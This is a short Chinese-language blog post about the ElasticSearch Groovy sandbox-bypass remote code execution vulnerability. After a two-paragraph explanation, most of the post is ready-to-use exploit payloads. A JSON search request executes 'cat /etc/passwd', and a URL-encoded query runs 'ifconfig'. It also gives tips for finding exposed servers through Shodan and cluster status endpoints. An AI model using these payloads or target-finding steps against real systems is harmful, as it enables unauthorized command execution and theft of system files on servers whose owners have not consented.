ElasticSearch Groovy远程代码执行漏洞(CVE
2017-12-29 本文已影响37人
流弊的小白
漏洞原理
ElasticSearch是一个JAVA开发的搜索分析引擎。
2014年,曾经被曝出过一个 远程代码执行漏洞(CVE-2014-3120) ,漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,
后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。
漏洞POC
原理已被多人分析过,这里不在重复,直接上大家期待的POC吧!
POST http://target:9200/_search?pretty
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}
互联网实际案例
imageElasticSearch端口是该引擎的重要指纹,如果使用shodan搜索You Know, for也很不错,
查看状态:http://xxxx:9200/_status
集群健康报告:http://xxxx:9200/_cluster/health
集群节点信息:http://xxxx:9200/_nodes
http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}